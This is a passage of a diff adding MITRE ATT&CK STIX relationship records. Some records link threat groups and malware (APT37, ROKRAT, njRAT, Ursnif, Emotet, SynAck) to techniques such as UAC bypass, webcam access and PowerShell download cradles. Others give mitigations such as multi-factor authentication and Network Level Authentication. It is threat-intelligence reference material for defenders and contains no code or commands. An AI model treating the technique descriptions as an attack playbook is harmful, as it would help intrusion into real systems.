"[APT37](https://attack.mitre.org/groups/G0067) has a Bluetooth device harvester, which uses Windows Bluetooth APIs to find information on connected Bluetooth devices.", + "type": "relationship", + "created": "2019-06-04T14:12:42.088Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--09c8ec4f-c76b-4a36-994f-4ed4d87b7ad8", + "external_references": [ + { + "source_name": "Securelist ScarCruft May 2019", + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "modified": "2019-07-08T14:33:16.264Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has a function in the initial dropper to bypass Windows UAC in order to execute the next payload with higher privileges.", + "type": "relationship", + "created": "2019-06-04T14:12:42.107Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4a8f7699-3bcd-4586-b029-f43756681805", + "external_references": [ + { + "source_name": "Securelist ScarCruft May 2019", + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "modified": "2019-07-08T14:33:16.150Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) has the ability to gather a list of files and directories on the infected system.\t", + "type": "relationship", + "created": "2019-06-04T14:17:34.176Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--90be71e4-6b38-4411-aac5-09711a334393", + "external_references": [ + { + "source_name": "Securelist ScarCruft May 2019", + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "modified": "2019-07-26T22:56:58.585Z", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) has a audio capture and eavesdropping module.", + "type": "relationship", + "created": "2019-06-04T14:17:34.190Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0e8f2301-2758-43b3-8b3e-615281100eff", + "external_references": [ + { + "source_name": "Securelist ScarCruft May 2019", + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" + } + ], + "modified": "2019-07-26T22:56:58.636Z", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "relationship_type": "uses", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SynAck](https://attack.mitre.org/software/S0242) encrypts the victims machine followed by asking the victim to pay a ransom.", + "type": "relationship", + "created": "2019-06-04T17:45:28.684Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8c1c7c51-f9bf-4163-a01b-7d922a2d1a93", + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + } + ], + "modified": "2019-07-26T23:00:57.675Z", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "relationship_type": "uses", + "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[njRAT](https://attack.mitre.org/software/S0385) can access the victim's webcam.", + "type": "relationship", + "created": "2019-06-04T19:40:19.751Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--30be2552-9794-4eef-b3b6-fa663f68784b", + "external_references": [ + { + "source_name": "Fidelis njRAT June 2013", + "description": "Fidelis Cybersecurity. (2013, June 28). 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Retrieved June 7, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "modified": "2019-06-10T19:29:30.846Z", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "relationship_type": "uses", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T17:52:06.600Z", + "type": "relationship", + "created": "2019-06-07T17:50:47.944Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e8ddf5f6-ec20-4eb6-bd22-b02f54a99693", + "external_references": [ + { + "source_name": "Citizen Lab Group5", + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "source_ref": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", + "relationship_type": "uses", + "target_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[njRAT](https://attack.mitre.org/software/S0385) can browse file systems using a file manager module.", + "type": "relationship", + "created": "2019-06-07T18:27:38.476Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1daaea6e-527f-4c3d-9387-72ea68d7140d", + "external_references": [ + { + "source_name": "Fidelis njRAT June 2013", + "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.", + "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf" + } + ], + "modified": "2019-06-24T18:57:11.316Z", + "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) has a command to delete a file from the machine.", + "type": "relationship", + "created": "2019-06-07T18:42:23.141Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--44968df5-3af9-4441-a1f3-e91c75893e64", + "external_references": [ + { + "source_name": "Trend Micro IXESHE 2012", + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "modified": "2019-06-10T19:29:30.900Z", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FlawedGrace](https://attack.mitre.org/software/S0383) has used port 443 for C2 communications.", + "type": "relationship", + "created": "2019-06-07T18:47:42.466Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5731c1ec-5055-4d03-a2e3-573b231a5629", + "external_references": [ + { + "source_name": "Proofpoint TA505 Jan 2019", + "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.", + "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505" + } + ], + "modified": "2019-06-07T18:47:42.466Z", + "source_ref": "malware--43155329-3edf-47a6-9a14-7dac899b01e4", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) collects the computer name of the victim's system during the initial infection.", + "type": "relationship", + "created": "2019-06-07T19:05:01.800Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5eb5ee0e-d186-40d3-a433-9562f85fdf6b", + "external_references": [ + { + "source_name": "Trend Micro IXESHE 2012", + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "modified": "2019-06-10T19:29:30.902Z", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) uses HTTP for command and control.", + "type": "relationship", + "created": "2019-06-07T19:05:01.812Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--27d4f0a9-7f8f-4d3d-b130-fd096bede2e9", + "external_references": [ + { + "source_name": "Moran 2013", + "description": "Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html" + }, + { + "source_name": "Trend Micro IXESHE 2012", + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "modified": "2019-06-10T19:29:30.898Z", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ixeshe](https://attack.mitre.org/software/S0015) has used TCP port 443 for C2.", + "type": "relationship", + "created": "2019-06-07T19:05:01.819Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6878d766-b706-4dae-bd9c-a89d7855b769", + "external_references": [ + { + "source_name": "Trend Micro IXESHE 2012", + "description": "Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019.", + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf" + } + ], + "modified": "2019-06-10T19:29:30.894Z", + "source_ref": "malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) used [SDelete](https://attack.mitre.org/software/S0195) to remove artifacts from victims.", + "type": "relationship", + "created": "2019-06-07T20:41:15.203Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e59dfc63-bd40-4d2d-b09b-91830bd5e9fe", + "external_references": [ + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "modified": "2019-07-25T14:25:53.350Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T15:05:34.036Z", + "type": "relationship", + "created": "2019-06-07T20:45:33.064Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--65321ae3-b76c-4288-9456-207641b14aa7", + "external_references": [ + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + } + ], + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "relationship_type": "uses", + "target_ref": "malware--8dbadf80-468c-4a62-b817-4e4d8b606887" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT12](https://attack.mitre.org/groups/G0005) has used blogs and WordPress for C2 infrastructure.", + "type": "relationship", + "created": "2019-06-10T16:34:59.315Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5a49400c-2003-463c-8e6e-97b79f560675", + "external_references": [ + { + "source_name": "Meyers Numbered Panda", + "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.", + "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/" + } + ], + "modified": "2019-06-10T19:28:00.985Z", + "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ursnif ](https://attack.mitre.org/software/S0386) droppers have used COM objects to execute the malware's full executable payload.", + "type": "relationship", + "created": "2019-06-10T17:44:49.334Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3c4d8c8f-9676-48c5-b902-e95a2411e266", + "external_references": [ + { + "source_name": "Bromium Ursnif Mar 2017", + "description": "Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019.", + "url": "https://www.bromium.com/how-ursnif-evades-detection/" + } + ], + "modified": "2019-06-24T16:46:21.031Z", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "relationship_type": "uses", + "target_ref": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ursnif ](https://attack.mitre.org/software/S0386) droppers have used WMI classes to execute [PowerShell](https://attack.mitre.org/techniques/T1086) commands.", + "type": "relationship", + "created": "2019-06-10T17:44:49.348Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d9c20d20-cd4a-45cf-81a2-e9a8f6c9e78c", + "external_references": [ + { + "source_name": "Bromium Ursnif Mar 2017", + "description": "Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019.", + "url": "https://www.bromium.com/how-ursnif-evades-detection/" + } + ], + "modified": "2019-06-24T16:46:21.025Z", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ursnif ](https://attack.mitre.org/software/S0386) droppers have used PowerShell in download cradles to download and execute the malware's full executable payload.", + "type": "relationship", + "created": "2019-06-10T17:44:49.350Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8b368877-93b8-4ea9-84ef-84232412982f", + "external_references": [ + { + "source_name": "Bromium Ursnif Mar 2017", + "description": "Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019.", + "url": "https://www.bromium.com/how-ursnif-evades-detection/" + } + ], + "modified": "2019-06-24T16:46:21.028Z", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ursnif ](https://attack.mitre.org/software/S0386) droppers have used VBA macros and [PowerShell](https://attack.mitre.org/techniques/T1086) to download and execute the malware's full executable payload.", + "type": "relationship", + "created": "2019-06-10T17:44:49.367Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b5ebcf96-92f6-46d3-a9a1-1773e4f3ec02", + "external_references": [ + { + "source_name": "Bromium Ursnif Mar 2017", + "description": "Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019.", + "url": "https://www.bromium.com/how-ursnif-evades-detection/" + } + ], + "modified": "2019-06-24T16:46:21.023Z", + "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emotet](https://attack.mitre.org/software/S0367) has used WMI to execute powershell.exe.", + "type": "relationship", + "created": "2019-06-10T18:55:43.635Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--11f31998-c76f-4433-8e9c-c0ef0b7574d5", + "external_references": [ + { + "source_name": "Carbon Black Emotet Apr 2019", + "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.", + "url": "https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/" + } + ], + "modified": "2019-06-28T15:25:30.142Z", + "source_ref": "malware--32066e94-3112-48ca-b9eb-ba2b59d2f023", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.", + "type": "relationship", + "id": "relationship--ed7da11c-2d18-4137-9911-e18138603acf", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2019-06-13T14:49:56.162Z", + "modified": "2019-06-13T14:49:56.162Z", + "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.", + "type": "relationship", + "created": "2019-06-13T15:56:45.879Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b82ceba5-d988-472d-acd4-b7b1bc49ebbc", + "external_references": [ + { + "source_name": "Microsoft Create Token", + "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.", + "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object" + }, + { + "source_name": "Microsoft Replace Process Token", + "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.", + "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token" + } + ], + "modified": "2019-07-16T17:30:44.149Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later.", + "type": "relationship", + "created": "2019-06-13T15:59:46.281Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7106aee3-498a-46b6-a851-8de1289c26d4", + "external_references": [ + { + "source_name": "TechNet RDP NLA", + "description": "Microsoft. (n.d.). Configure Network Level Authentication for Remote Desktop Services Connections. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc732713.aspx" + } + ], + "modified": "2019-07-16T19:07:04.901Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network.", + "type": "relationship", + "created": "2019-06-13T15:59:46.332Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f2107311-d59b-4b7e-97d5-b3c0a77835b6", + "external_references": [ + { + "source_name": "TechNet RDP Gateway", + "description": "Microsoft. (n.d.). Overview of Remote Desktop Gateway. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc731150.aspx" + } + ], + "modified": "2019-07-16T19:07:04.911Z", + "source_ref": "course-of-action--1dcaeb21-9348-42ea-950a-f842aaf1ae1f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation.", + "type": "relationship", + "created": "2019-06-13T16:02:06.717Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--620d641c-8f76-45f3-a86f-03dd28399d5c", + "external_references": [ + { + "source_name": "UCF STIG Elevation Account Enumeration", + "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.", + "url": "https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077" + } + ], + "modified": "2019-06-13T16:25:57.298Z", + "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "type": "relationship", + "created": "2019-06-13T16:04:04.082Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9ffc8525-79a5-40a2-b371-46052daf66c5", + "modified": "2019-07-16T18:47:21.998Z", + "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Configure access controls and firewalls to limit access to critical systems and domain controllers.", + "type": "relationship", + "created": "2019-06-13T16:04:04.168Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--21ea4371-e692-4731-9f8c-c3f4dff3c775", + "modified": "2019-07-16T18:47:22.016Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use multi-factor authentication for user and privileged accounts.", + "type": "relationship", + "created": "2019-06-13T16:04:04.180Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--74e433ec-0c52-42f2-b0d4-3e1f3a56b419", + "modified": "2019-07-16T18:47:22.015Z", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing. This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.", + "type": "relationship", + "created": "2019-06-13T16:07:32.272Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b8004278-152f-44bf-a24c-8a236e6369db", + "external_references": [ + { + "source_name": "applescript signing", + "description": "Steven Sande. (2013, December 23). AppleScript and Automator gain new features in OS X Mavericks. Retrieved September 21, 2018.", + "url": "https://www.engadget.com/2013/10/23/applescript-and-automator-gain-new-features-in-os-x-mavericks/" + } + ], + "modified": "2019-07-16T19:11:33.547Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).", + "type": "relationship", + "created": "2019-06-13T16:10:48.292Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f767f3cf-3c2a-4bed-88e0-d088471edded", + "modified": "2019-07-16T19:17:35.034Z", + "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multi-factor authentication.", + "type": "relationship", + "created": "2019-06-13T16:10:48.305Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--db21d02a-539f-45fd-be5c-80d90ee276dc", + "modified": "2019-07-16T19:17:35.047Z", + "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", + "type": "relationship", + "created": "2019-06-13T16:10:48.347Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cf01aef4-c032-453e-a890-b7a01e744d9e", + "modified": "2019-07-16T19:17:35.058Z", + "source_ref": "course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312", + "relationship_type": "mitigates", + "target_ref": 